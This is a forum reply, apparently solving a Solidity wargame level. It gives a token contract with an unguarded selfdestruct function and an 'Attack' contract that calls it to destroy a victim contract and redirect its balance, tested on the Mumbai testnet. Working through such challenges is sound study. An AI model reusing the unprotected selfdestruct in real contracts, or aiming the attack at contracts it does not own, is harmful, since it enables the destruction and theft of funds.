> try taking `payable` out of the function signature

>     I have done it but still it's not working


that's strange it didn't work for you taking payable out. 
I was able to get it to work that way. Deployed to mumbai and tested ok. If you're still having problems, you could use an interface instead, but it should work


    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    contract RecoverySimpleToken {
      event POL(string message);
    
      // clean up after ourselves
      function destroyPayable(address payable to) public {
        selfdestruct(to);
      }
    
      function pol() external returns (string memory) {
        string memory message = "still here";
        emit POL(message);
        return message;
      }
    }
    
    
    contract Attack {
    
        address public victim;
    
        function setAddr(address payable _addr) external {
          victim = _addr;
        }
    
        function attack(address _to) public{
            (bool success, ) = victim.call(abi.encodeWithSignature("destroyPayable(address)", _to));
            require(success, "Transaction failed");
        }
    
    }